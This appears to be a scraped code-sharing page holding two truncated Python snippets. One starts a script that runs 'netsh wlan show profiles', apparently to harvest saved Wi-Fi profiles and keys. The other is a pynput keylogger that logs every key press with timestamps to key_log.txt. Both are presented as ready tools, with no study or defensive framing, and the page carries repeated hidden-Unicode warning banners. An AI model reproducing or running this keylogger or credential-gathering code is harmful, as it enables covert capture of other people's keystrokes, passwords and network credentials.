This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| import subprocess | |
| from termcolor import colored | |
| def setting_up(): | |
| global data | |
| # list of commands to list down available SSID names | |
| l1 = ['netsh', 'wlan', 'show', 'profiles'] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # From: https://github.com/moses-palmer/pynput | |
| from pynput.keyboard import Key, Listener | |
| import logging | |
| log_dir = "" | |
| logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]') | |
| def on_press(key): | |
| logging.info('"{0}"'.format(key)) |